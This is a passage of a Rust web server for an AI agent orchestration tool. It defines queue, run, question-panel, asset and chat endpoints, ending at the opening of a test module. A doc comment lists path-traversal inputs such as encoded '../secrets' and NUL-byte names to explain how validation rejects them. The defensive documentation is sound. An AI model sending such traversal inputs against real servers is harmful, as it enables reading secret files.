1813async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
1814    blocking(move || {
1815        Ok(Json(
1816            ui.queue.list().into_iter().map(TaskView::from).collect(),
1817        ))
1818    })
1819    .await
1820}
1821
1822/// The body of `POST /api/queue`.
1823///
1824/// Every field defaults so the phone can send only what the operator typed,
1825/// and unknown fields are ignored so a newer front end talking to an older
1826/// binary still files the task.
1827#[derive(Debug, Default, Deserialize)]
1828#[serde(default)]
1829struct NewTask {
1830    instruction: String,
1831    title: Option<String>,
1832    repo: Option<PathBuf>,
1833    priority: Option<i32>,
1834}
1835
1836async fn queue_post(
1837    State(ui): State<Arc<Ui>>,
1838    body: std::result::Result<Json<NewTask>, JsonRejection>,
1839) -> ApiResult<impl IntoResponse> {
1840    // Taken as a `Result` so a malformed body is the 400 the contract promises
1841    // rather than axum's default 422, which the UI has no branch for.
1842    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1843    if body.instruction.trim().is_empty() {
1844        return Err(ApiError::bad_request(
1845            "instruction must not be blank: an empty task would burn a whole \
1846             competition on nothing",
1847        ));
1848    }
1849    let view = blocking(move || {
1850        let title = body
1851            .title
1852            .filter(|t| !t.trim().is_empty())
1853            .unwrap_or_else(|| title_from(&body.instruction, TITLE_MAX));
1854        let repo = body.repo.unwrap_or_else(|| ui.repo.clone());
1855        let mut task = Task::new(title, body.instruction, repo, Source::Human);
1856        task.priority = body.priority.unwrap_or(0);
1857        ui.queue.put(&mut task)?;
1858        Ok(TaskView::from(task))
1859    })
1860    .await?;
1861    Ok((StatusCode::CREATED, Json(view)))
1862}
1863
1864async fn queue_hold(
1865    State(ui): State<Arc<Ui>>,
1866    Path(id): Path<String>,
1867) -> ApiResult<Json<TaskView>> {
1868    mutate(ui, id, Task::hold).await
1869}
1870
1871async fn queue_release(
1872    State(ui): State<Arc<Ui>>,
1873    Path(id): Path<String>,
1874) -> ApiResult<Json<TaskView>> {
1875    mutate(ui, id, Task::release).await
1876}
1877
1878/// `DELETE /api/queue/{id}`.
1879///
1880/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
1881/// names this task: a `running` status or an orphaned `.lock` left behind by a
1882/// killed daemon is a leftover, and treating either as authority made the
1883/// task undeletable from the phone for good. The associated runs, if any, are
1884/// kept: a run is self-contained history and not an appendage of the task.
1885async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1886    blocking(move || {
1887        let id = resolve_task(&ui.queue, &id)?;
1888        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
1889        ui.queue
1890            .remove(&id, in_flight)
1891            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1892        Ok(StatusCode::NO_CONTENT)
1893    })
1894    .await
1895}
1896
1897/// Read a task, change it, write it back, under the queue's own lock.
1898///
1899/// Taking the same claim a daemon takes is what makes hold and release safe to
1900/// press while magi is running: without it the daemon's next save would land
1901/// on top of the operator's hold and the task would keep going.
1902async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
1903    blocking(move || {
1904        let id = resolve_task(&ui.queue, &id)?;
1905        // `claim` fails when the lock file already exists, which is the
1906        // conflict the UI must report: the daemon owns that task's file for
1907        // as long as it is running it, and our write would be lost under its
1908        // next save. The message names the lock either way.
1909        let _claim = ui.queue.claim(&id).map_err(|e| {
1910            ApiError::conflict(format!(
1911                "{e:#} - a daemon is running this task, so it cannot be \
1912                 changed from here yet"
1913            ))
1914        })?;
1915        let mut task = ui.queue.get(&id)?;
1916        change(&mut task);
1917        ui.queue.put(&mut task)?;
1918        Ok(Json(TaskView::from(task)))
1919    })
1920    .await
1921}
1922
1923/// The change stream: one revision number per store, on connect and whenever
1924/// any of them moves.
1925///
1926/// The poll runs in one spawned task per client, which is affordable because
1927/// the work is a directory scan and a `stat` per file. It stops as soon as the
1928/// receiver is gone, so a phone that walks out of range costs nothing after
1929/// its next tick - there is no session and no cleanup to forget.
1930async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
1931    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
1932    tokio::spawn(async move {
1933        let mut ticker = tokio::time::interval(POLL);
1934        let mut last: Option<(u64, u64, u64, u64, u64)> = None;
1935        loop {
1936            // The first tick completes immediately, which is what makes the
1937            // stream announce the current revisions on connect.
1938            ticker.tick().await;
1939            let state = Arc::clone(&ui);
1940            let revisions = tokio::task::spawn_blocking(move || {
1941                (
1942                    state.queue.revision(),
1943                    runs_revision(&state.runs),
1944                    state.questions.revision(),
1945                    state.chats.revision(),
1946                    // The loop's counter is in-process state rather than a
1947                    // file, so nothing the three stats above look at would
1948                    // tell this phone that another one started the loop.
1949                    state.lock_loop().rev,
1950                )
1951            })
1952            .await;
1953            let Ok(revisions) = revisions else { break };
1954            if last == Some(revisions) {
1955                continue;
1956            }
1957            last = Some(revisions);
1958            let payload = serde_json::json!({
1959                "queue_rev": revisions.0,
1960                "runs_rev": revisions.1,
1961                "questions_rev": revisions.2,
1962                "chats_rev": revisions.3,
1963                "loop_rev": revisions.4,
1964            });
1965            // Serializing five integers cannot fail; giving up beats looping.
1966            let Ok(event) = Event::default().event("change").json_data(payload) else {
1967                break;
1968            };
1969            if tx.send(event).await.is_err() {
1970                break;
1971            }
1972        }
1973    });
1974    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
1975        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
1976}
1977
1978/// Change detection token for recorded runs under `runs`.
1979///
1980/// Combines the id and `run.json` modification time of each run, so adding,
1981/// updating, or deleting any run — even an older one — moves the revision and
1982/// notifies connected clients via the change stream. Returns 0 when no runs
1983/// exist.
1984fn runs_revision(runs: &FsPath) -> u64 {
1985    use std::hash::{Hash as _, Hasher as _};
1986
1987    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
1988        .into_iter()
1989        .flatten()
1990        .flatten()
1991        .filter_map(|e| {
1992            let path = e.path().join("run.json");
1993            let mtime = path
1994                .metadata()
1995                .ok()?
1996                .modified()
1997                .ok()?
1998                .duration_since(std::time::UNIX_EPOCH)
1999                .ok()?
2000                .as_millis() as u64;
2001            let id = e.file_name().to_string_lossy().into_owned();
2002            Some((id, mtime))
2003        })
2004        .collect();
2005
2006    if entries.is_empty() {
2007        return 0;
2008    }
2009
2010    entries.sort_unstable();
2011    let mut hasher = std::hash::DefaultHasher::new();
2012    for (id, mtime) in &entries {
2013        id.hash(&mut hasher);
2014        mtime.hash(&mut hasher);
2015    }
2016    let h = hasher.finish();
2017    if h == 0 { 1 } else { h }
2018}
2019
2020/// Run ids under `runs`, newest first.
2021///
2022/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2023/// which reads the process-global home: the server has to be drivable against
2024/// a temp directory for any of this to be testable.
2025fn run_ids(runs: &FsPath) -> Vec<String> {
2026    let mut ids: Vec<String> = std::fs::read_dir(runs)
2027        .into_iter()
2028        .flatten()
2029        .flatten()
2030        .filter(|e| e.path().join("run.json").is_file())
2031        .map(|e| e.file_name().to_string_lossy().into_owned())
2032        .collect();
2033    // Ids start with a sortable timestamp.
2034    ids.sort_unstable_by(|a, b| b.cmp(a));
2035    ids
2036}
2037
2038/// Read one run's state from an explicit runs root.
2039fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2040    let path = runs.join(id).join("run.json");
2041    let body =
2042        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2043    let state: RunState =
2044        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2045    if state.schema != run::SCHEMA {
2046        anyhow::bail!(
2047            "run {} was written by a different magi (schema {}, this build speaks {})",
2048            state.id,
2049            state.schema,
2050            run::SCHEMA
2051        );
2052    }
2053    Ok(state)
2054}
2055
2056/// Runs on disk under `runs` whose state this build cannot parse - almost
2057/// always a schema bump, occasionally a run killed mid-write.
2058///
2059/// Exposed so every surface that reports on runs shares one count instead of
2060/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
2061/// `magi doctor` calls this directly rather than guessing at the same number
2062/// a second way.
2063#[must_use]
2064pub fn runs_unreadable(runs: &FsPath) -> usize {
2065    run_ids(runs)
2066        .into_iter()
2067        .filter(|id| read_run(runs, id).is_err())
2068        .count()
2069}
2070
2071/// Expand an id or short id to exactly one run id.
2072fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2073    if runs.join(id).join("run.json").is_file() {
2074        return Ok(id.to_owned());
2075    }
2076    pick(run_ids(runs), id, "run")
2077}
2078
2079/// Expand an id or short id to exactly one task id.
2080fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2081    if queue.path_of(id).is_file() {
2082        return Ok(id.to_owned());
2083    }
2084    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2085}
2086
2087/// A question as the phone reads it.
2088///
2089/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
2090/// text already parsed into a node tree so the client never runs its own
2091/// markdown reader over agent-authored prose. A relative image path in it
2092/// resolves against this question's own panel asset route, which is the one
2093/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
2094/// separate, sandboxed document, but `detail` is rendered inline in the
2095/// operator's own page, so an image reference in it may only ever point at
2096/// files magi itself already serves for this question.
2097#[derive(Debug, Serialize)]
2098struct QuestionView {
2099    #[serde(flatten)]
2100    question: Question,
2101    detail_md: Vec<md::Node>,
2102}
2103
2104impl From<Question> for QuestionView {
2105    fn from(question: Question) -> Self {
2106        let base = md::ImageBase::QuestionPanel {
2107            id: question.id.clone(),
2108        };
2109        Self {
2110            detail_md: md::to_nodes(&question.detail, &base),
2111            question,
2112        }
2113    }
2114}
2115
2116/// `GET /api/questions`.
2117///
2118/// Everything, not just the open ones: an answered question is the record of a
2119/// decision, and the phone is where the operator goes back to check what they
2120/// told an agent at 3am. `ask::Questions::list` already ranks open first.
2121async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2122    blocking(move || {
2123        Ok(Json(
2124            ui.questions
2125                .list()
2126                .into_iter()
2127                .map(QuestionView::from)
2128                .collect(),
2129        ))
2130    })
2131    .await
2132}
2133
2134/// The body of `POST /api/questions/{id}/answer`.
2135///
2136/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
2137/// a bad request rather than a guess: an answer magi invented is worse than a
2138/// question left open.
2139#[derive(Debug, Default, Deserialize)]
2140#[serde(default, deny_unknown_fields)]
2141struct NewAnswer {
2142    choice: Option<String>,
2143    text: Option<String>,
2144}
2145
2146async fn question_answer(
2147    State(ui): State<Arc<Ui>>,
2148    Path(id): Path<String>,
2149    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2150) -> ApiResult<Json<QuestionView>> {
2151    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2152    let answer = match (body.choice, body.text) {
2153        (Some(c), None) => Answer::Choice(c),
2154        (None, Some(t)) => Answer::Text(t),
2155        (Some(_), Some(_)) => {
2156            return Err(ApiError::bad_request(
2157                "send either `choice` or `text`, not both",
2158            ));
2159        }
2160        (None, None) => {
2161            return Err(ApiError::bad_request("send a `choice` or a `text`"));
2162        }
2163    };
2164
2165    blocking(move || {
2166        let id = resolve_question(&ui.questions, &id)?;
2167        let mut q = ui
2168            .questions
2169            .get(&id)
2170            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2171        if !q.status.open() {
2172            // Answered from the terminal, or by another phone, in between the
2173            // list and the tap. The UI shows the recorded answer rather than an
2174            // error, so it needs the record, not just the status.
2175            return Err(ApiError::conflict(format!(
2176                "question {} is already {}",
2177                q.short(),
2178                q.status.as_str()
2179            )));
2180        }
2181        // `Question::answer` owns the rules - an unoffered choice, free text on
2182        // a multiple-choice question, an empty reply - so the route does not
2183        // restate them and cannot drift from the CLI's behaviour.
2184        q.answer(answer).map_err(ApiError::bad_request_from)?;
2185        ui.questions.put(&mut q)?;
2186        Ok(Json(QuestionView::from(q)))
2187    })
2188    .await
2189}
2190
2191/// Expand an id or short id to exactly one question id.
2192fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2193    if store.path_of(id).is_file() {
2194        return Ok(id.to_owned());
2195    }
2196    pick(
2197        store.list().into_iter().map(|q| q.id).collect(),
2198        id,
2199        "question",
2200    )
2201}
2202
2203/// `GET /api/questions/{id}/panel`.
2204///
2205/// The panel an agent wrote for this question, as `text/html` under
2206/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
2207/// A question without one is a 404 rather than an empty page: the client
2208/// preflights this route with `HEAD` and must be able to tell "no panel" from
2209/// "a panel that rendered blank", and a sandboxed frame is opaque to the
2210/// parent document so it cannot tell the difference by looking.
2211///
2212/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
2213/// sanitises or minifies it - a sanitiser is a list of things someone thought
2214/// of, and the sandbox plus the CSP is a list of things that are allowed, which
2215/// is the direction that stays safe when an agent writes markup nobody
2216/// predicted.
2217async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2218    blocking(move || {
2219        let id = resolve_question(&ui.questions, &id)?;
2220        let Some(html) = ui.questions.panel_html(&id) else {
2221            return Err(ApiError::not_found(format!("question {id} has no panel")));
2222        };
2223        Ok(panel_response(
2224            "text/html; charset=utf-8",
2225            false,
2226            html.into_bytes(),
2227        ))
2228    })
2229    .await
2230}
2231
2232/// `GET /api/questions/{id}/asset/{name}`.
2233///
2234/// One file from the question's own panel directory, so a panel can show a
2235/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
2236/// having to allow anything off this machine.
2237///
2238/// This is the only route in the server where a client names a file, so it is
2239/// the only one with a traversal surface, and the name is checked by
2240/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
2241/// what is worth being explicit about, because the answer is not "all of it in
2242/// one place":
2243///
2244/// * `asset/../../secrets` never reaches this handler at all. axum matches on
2245///   the raw request path and `{name}` spans exactly one segment, so a real
2246///   slash makes the request too long for the route and the router answers 404.
2247/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
2248///   percent-decodes path parameters, so `name` arrives as `../secrets` and
2249///   `..\secrets` respectively, which look like plain filenames to the router.
2250///   The validator refuses them here - both for the literal `..` and because
2251///   `/` and `\` are not in the permitted character set - and answers 400.
2252/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
2253///   the platform's path API is not, and it is refused here for the same
2254///   reason: NUL is not a permitted character.
2255/// * [`Questions::panel_asset`] validates again on read, so the check is not
2256///   load-bearing in only one place. This route's own check exists so the
2257///   failure is a 400 that says which name was wrong, rather than a store error
2258///   the operator has to interpret.
2259async fn question_asset(
2260    State(ui): State<Arc<Ui>>,
2261    Path((id, name)): Path<(String, String)>,
2262) -> ApiResult<Response> {
2263    // Before any filesystem work and before any path is built: a name this
2264    // server will not serve should not become a `PathBuf` at all.
2265    if !crate::ask::valid_asset_name(&name) {
2266        return Err(ApiError::bad_request(format!(
2267            "`{name}` is not a usable asset name"
2268        )));
2269    }
2270    blocking(move || {
2271        let id = resolve_question(&ui.questions, &id)?;
2272        let asset = ui
2273            .questions
2274            .panel_asset(&id, &name)
2275            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2276        let Some(bytes) = asset else {
2277            return Err(ApiError::not_found(format!(
2278                "question {id} has no asset `{name}`"
2279            )));
2280        };
2281        Ok(panel_response(
2282            asset_content_type(&name),
2283            is_svg(&name),
2284            bytes,
2285        ))
2286    })
2287    .await
2288}
2289
2290/// Content type for a panel asset, from a closed whitelist.
2291///
2292/// A whitelist with an `application/octet-stream` fallback rather than a
2293/// guess, because the one answer that must never come out of here is
2294/// `text/html`. An agent that writes `notes.html` into its panel directory and
2295/// links it would otherwise get its own markup rendered at the top level of the
2296/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
2297/// magi's origin - which is precisely the thing the panel design exists to
2298/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
2299///
2300/// `nosniff` accompanies this on every response, so a browser cannot decide it
2301/// knows better than the type we sent.
2302fn asset_content_type(name: &str) -> &'static str {
2303    match extension(name).as_deref() {
2304        Some("png") => "image/png",
2305        Some("jpg" | "jpeg") => "image/jpeg",
2306        Some("gif") => "image/gif",
2307        Some("webp") => "image/webp",
2308        Some("svg") => "image/svg+xml",
2309        Some("css") => "text/css; charset=utf-8",
2310        Some("txt") => "text/plain; charset=utf-8",
2311        _ => "application/octet-stream",
2312    }
2313}
2314
2315/// Is this an SVG, and therefore a file that must never be opened at the top
2316/// level?
2317fn is_svg(name: &str) -> bool {
2318    extension(name).as_deref() == Some("svg")
2319}
2320
2321/// Lowercased extension, or `None` for a name without one.
2322fn extension(name: &str) -> Option<String> {
2323    name.rsplit_once('.')
2324        .map(|(_, ext)| ext.to_ascii_lowercase())
2325}
2326
2327/// Every panel response, with the four headers that make it safe and, for an
2328/// SVG, a fifth.
2329///
2330/// One function rather than a header list per handler, because a panel route
2331/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
2332/// model gone, silently, on one of two routes. Adding a third panel route later
2333/// means calling this, and there is nowhere else to build a panel response.
2334///
2335/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
2336/// as an `<img src>` inside the panel that script cannot run - but the asset
2337/// URL is also a plain URL an operator can be talked into opening in a tab,
2338/// where it is a document on magi's own origin. `Content-Disposition:
2339/// attachment` makes the browser download it instead of rendering it, which
2340/// closes that door without taking away the ability to draw a diff. Raster
2341/// images have no such execution surface and are left inline, so tapping a
2342/// screenshot still shows it.
2343fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2344    let mut res = (
2345        [
2346            (header::CONTENT_TYPE, content_type),
2347            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2348            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2349            (header::REFERRER_POLICY, "no-referrer"),
2350        ],
2351        body,
2352    )
2353        .into_response();
2354    if download {
2355        res.headers_mut().insert(
2356            header::CONTENT_DISPOSITION,
2357            HeaderValue::from_static("attachment"),
2358        );
2359    }
2360    res
2361}
2362
2363/// A chat as the phone reads it.
2364///
2365/// Every field of [`Chat`] verbatim, plus the two things `app.js` would
2366/// otherwise have to parse itself: `turn_bodies_md`, one markdown node tree
2367/// per entry of `turns` in the same order, and `draft_md`, the parsed form of
2368/// `draft` when there is one. `turns` and `draft` are untouched - a client
2369/// reading the exact bytes a chat turn holds, or the exact bytes that would
2370/// be filed as a task, still can.
2371#[derive(Debug, Serialize)]
2372struct ChatView {
2373    #[serde(flatten)]
2374    chat: Chat,
2375    turn_bodies_md: Vec<Vec<md::Node>>,
2376    draft_md: Option<Vec<md::Node>>,
2377}
2378
2379impl From<Chat> for ChatView {
2380    fn from(chat: Chat) -> Self {
2381        let turn_bodies_md = chat
2382            .turns
2383            .iter()
2384            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2385            .collect();
2386        let draft_md = chat
2387            .draft
2388            .as_deref()
2389            .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2390        Self {
2391            turn_bodies_md,
2392            draft_md,
2393            chat,
2394        }
2395    }
2396}
2397
2398/// `GET /api/chats`.
2399///
2400/// Every interview, open ones first and newest first, which is
2401/// [`Chats::list`]'s own order. The whole record including the transcript: a
2402/// conversation is a few kilobytes, the phone renders it directly, and a
2403/// summary here would mean a second round trip to read the only thing a chat
2404/// is made of.
2405async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2406    blocking(move || {
2407        Ok(Json(
2408            ui.chats.list().into_iter().map(ChatView::from).collect(),
2409        ))
2410    })
2411    .await
2412}
2413
2414async fn chat_detail(
2415    State(ui): State<Arc<Ui>>,
2416    Path(id): Path<String>,
2417) -> ApiResult<Json<ChatView>> {
2418    blocking(move || {
2419        let id = resolve_chat(&ui.chats, &id)?;
2420        Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2421    })
2422    .await
2423}
2424
2425/// The body of `POST /api/chats`.
2426///
2427/// `agent` names a seat from the roster to do the interviewing; absent means
2428/// the configured default, which is what the phone sends. `repo` is a path,
2429/// not a short name - resolving `owner/repo` against `[repos] roots` is the
2430/// job of whatever built the picker the operator chose from, i.e.
2431/// `GET /api/repos`, so this route only ever has to trust a path. `from`
2432/// derives this conversation from an existing one - see [`chat::start`].
2433/// Unknown fields are ignored so a newer front end still starts an interview
2434/// against an older binary.
2435#[derive(Debug, Default, Deserialize)]
2436#[serde(default)]
2437struct NewChat {
2438    idea: String,
2439    agent: Option<String>,
2440    repo: Option<PathBuf>,
2441    from: Option<String>,
2442}
2443
2444/// `POST /api/chats`.
2445///
2446/// Starting an interview runs the first agent turn, so this is as slow as
2447/// [`chat_say`] and is async for the same reason. There is no turn guard yet
2448/// because there is no chat yet: the id does not exist until [`chat::start`]
2449/// returns, so two taps produce two separate interviews rather than two turns
2450/// in one. Two interviews are recoverable - abandon one - where two interleaved
2451/// turns are not.
2452async fn chat_post(
2453    State(ui): State<Arc<Ui>>,
2454    body: std::result::Result<Json<NewChat>, JsonRejection>,
2455) -> ApiResult<impl IntoResponse> {
2456    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2457    if body.idea.trim().is_empty() {
2458        return Err(ApiError::bad_request(
2459            "an interview needs something to interview about",
2460        ));
2461    }
2462
2463    // Resolved before the agent runs, so a bad `from` id is a 4xx that names
2464    // it rather than a wasted agent turn against a conversation that does not
2465    // exist.
2466    let from = {
2467        let ui = Arc::clone(&ui);
2468        let from_id = body.from.clone();
2469        blocking(move || match from_id {
2470            None => Ok(None),
2471            Some(id) => {
2472                let resolved = resolve_chat(&ui.chats, &id)?;
2473                Ok(Some(ui.chats.get(&resolved)?))
2474            }
2475        })
2476        .await?
2477    };
2478
2479    // Read the configuration for this request rather than at startup, so an
2480    // edit to `magi.toml` - a new seat, a different interviewer - takes effect
2481    // without restarting the server the operator reaches from their phone.
2482    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2483    let cfg = config_for(&repo).await?;
2484    let chat = chat::start(
2485        &ui.chats,
2486        &cfg,
2487        repo,
2488        &body.idea,
2489        body.agent.as_deref(),
2490        from.as_ref(),
2491    )
2492    .await
2493    .map_err(ApiError::from)?;
2494    Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2495}
2496
2497/// The body of `POST /api/chats/{id}/say`.
2498#[derive(Debug, Default, Deserialize)]
2499#[serde(default, deny_unknown_fields)]
2500struct NewTurn {
2501    text: String,
2502}
2503
2504/// `POST /api/chats/{id}/say` - one turn of the interview.
2505///
2506/// The one handler here that is not filesystem work, and therefore the one
2507/// that must not go through [`blocking`]: it spawns an agent CLI and waits tens
2508/// of seconds for a paragraph. Sitting on an executor thread for that long
2509/// would starve the change stream of every other connected phone, which is the
2510/// opposite of what `blocking` is for. It holds no lock across the `await`
2511/// either - the turn slot is a set membership, not a mutex guard - so nothing
2512/// else in the server is delayed by a slow interview.
2513///
2514/// What the operator sees while it runs: a request outstanding for the whole
2515/// turn, with no partial output, because the agent CLIs magi drives return one
2516/// answer at the end rather than a stream. On a phone that means the composer
2517/// stays pending for up to the seat's timeout. There is deliberately no
2518/// progress channel to invent one from; the SSE `chats_rev` bump is the signal
2519/// that the turn landed, and it fires from the file `chat::say` wrote, so a
2520/// phone whose radio slept through the reply still learns about it.
2521///
2522/// A failed turn is still a turn. [`chat::say`] records the operator's message
2523/// and an agent turn explaining the failure before it returns an error, so this
2524/// answers 200 with the conversation: that recorded explanation is the thing
2525/// the operator needs to read, and a 5xx would make the front end show a
2526/// generic banner and hide it. The guard against that being a lie is the turn
2527/// count - if the transcript did not grow, nothing happened and the error is
2528/// reported as one.
2529async fn chat_say(
2530    State(ui): State<Arc<Ui>>,
2531    Path(id): Path<String>,
2532    body: std::result::Result<Json<NewTurn>, JsonRejection>,
2533) -> ApiResult<(StatusCode, Json<ChatView>)> {
2534    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2535    if body.text.trim().is_empty() {
2536        return Err(ApiError::bad_request("say something"));
2537    }
2538
2539    let id = {
2540        let ui = Arc::clone(&ui);
2541        let asked = id.clone();
2542        blocking(move || resolve_chat(&ui.chats, &asked)).await?
2543    };
2544    // Claimed before the chat is loaded, so the record this turn appends to was
2545    // read after the claim and cannot be a snapshot another turn has since
2546    // replaced.
2547    let _turn = ui.begin_turn(&id)?;
2548
2549    let (chat, cfg) = {
2550        let ui = Arc::clone(&ui);
2551        let id = id.clone();
2552        blocking(move || {
2553            let chat = ui.chats.get(&id)?;
2554            let (cfg, _) = Config::discover(&chat.repo, None)?;
2555            Ok((chat, cfg))
2556        })
2557        .await?
2558    };
2559
2560    // The operator's turn is recorded, the agent's turn runs in the background,
2561    // and the response goes back now.
2562    //
2563    // This used to hold the HTTP connection for the whole turn - 23 to 90
2564    // seconds against a real model. On a phone that is a coin flip: a screen
2565    // lock or a network handoff drops the request and the browser reports
2566    // "Failed to fetch", while the server finishes the turn and writes it to
2567    // disk. The operator is then told their message failed when it did not,
2568    // which is the worst of both answers. Every other moving part in magi is
2569    // state on disk plus the change stream; this was the one place that
2570    // depended on a connection staying up, and it did not need to.
2571    //
2572    // The turn guard moves into the spawned task, so a second `say` on the
2573    // same chat still gets a 409 while this one is in flight.
2574    let chats = ui.chats.clone();
2575    let text = {
2576        let mut chat = chat.clone();
2577        let chats = chats.clone();
2578        let said = body.text.clone();
2579        blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2580    };
2581    // Re-read so the spawned task appends to the record that now holds the
2582    // operator's turn, rather than to the snapshot taken before it.
2583    let mut chat = {
2584        let ui = Arc::clone(&ui);
2585        let id = id.clone();
2586        blocking(move || Ok(ui.chats.get(&id)?)).await?
2587    };
2588    let queued = chat.clone();
2589    tokio::spawn(async move {
2590        let _turn = _turn;
2591        if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2592            // `respond` records the failure in the transcript itself, which is
2593            // what the phone reads; this line is for the operator's terminal.
2594            tracing::warn!("chat {id} turn failed: {e:#}");
2595        }
2596    });
2597
2598    // 202: the operator's message is recorded and a turn is running. The front
2599    // end learns the reply from the change stream, the same way it learns
2600    // everything else.
2601    Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2602}
2603
2604/// The body of `POST /api/chats/{id}/file`, which the phone sends empty.
2605#[derive(Debug, Default, Deserialize)]
2606#[serde(default, deny_unknown_fields)]
2607struct FileDraft {
2608    priority: i32,
2609}
2610
2611/// `POST /api/chats/{id}/file` - validate the agent's draft and queue it.
2612///
2613/// The 400 carries every problem [`chat::draft_problems`] found, as an array
2614/// beside the usual message, because the operator fixing them is on a phone:
2615/// one problem per round trip would mean asking the interviewer to rewrite the
2616/// draft three times for what is one edit.
2617async fn chat_file(
2618    State(ui): State<Arc<Ui>>,
2619    Path(id): Path<String>,
2620    body: std::result::Result<Json<FileDraft>, JsonRejection>,
2621) -> ApiResult<Json<serde_json::Value>> {
2622    // An absent body is the normal case - the front end posts with no content
2623    // type at all - and means the default priority. A body that is present and
2624    // malformed is still a bad request, because silently filing at the wrong
2625    // priority is worse than saying no.
2626    let body = match body {
2627        Ok(Json(body)) => body,
2628        Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2629        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2630    };
2631
2632    blocking(move || {
2633        let id = resolve_chat(&ui.chats, &id)?;
2634        let mut chat = ui.chats.get(&id)?;
2635        // Asked before filing so the answer can be the whole list. `file_draft`
2636        // applies the same rule and would refuse too, but only with a flattened
2637        // string, and re-splitting an error message to rebuild the list is the
2638        // kind of thing that breaks the day someone adds a comma.
2639        if let Err(problems) = chat::draft_problems(&chat) {
2640            return Err(ApiError::bad_request_with(
2641                "the draft is not fileable yet",
2642                problems,
2643            ));
2644        }
2645        let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2646        Ok(Json(serde_json::json!({ "task": task })))
2647    })
2648    .await
2649}
2650
2651/// Expand an id or short id to exactly one chat id.
2652fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2653    pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2654}
2655
2656/// The configuration for a repository, read off the disk for this request.
2657///
2658/// Through [`blocking`] because discovery reads and merges several TOML files,
2659/// and because the alternative - caching it in [`Ui`] at startup - would mean
2660/// the operator's phone kept interviewing with a roster they had already
2661/// changed, with no way to reload it but restarting the server they are not
2662/// sitting in front of.
2663async fn config_for(repo: &FsPath) -> ApiResult<Config> {
2664    let repo = repo.to_path_buf();
2665    blocking(move || {
2666        let (cfg, _) = Config::discover(&repo, None)?;
2667        Ok(cfg)
2668    })
2669    .await
2670}
2671
2672/// The one prefix rule, used for both runs and tasks: a leading match for a
2673/// full id, a trailing match for the short form an operator reads off a
2674/// report. Written here rather than borrowed from `queue::resolve_id` because
2675/// the UI needs the two failures as different status codes, and telling them
2676/// apart from an error message is not something to build a route on.
2677fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
2678    let mut hits = ids
2679        .into_iter()
2680        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
2681    match (hits.next(), hits.next()) {
2682        (Some(one), None) => Ok(one),
2683        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
2684        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
2685            "`{prefix}` matches more than one {what}, including {a} and {b}"
2686        ))),
2687    }
2688}
2689
2690#[cfg(test)]
2691mod tests {
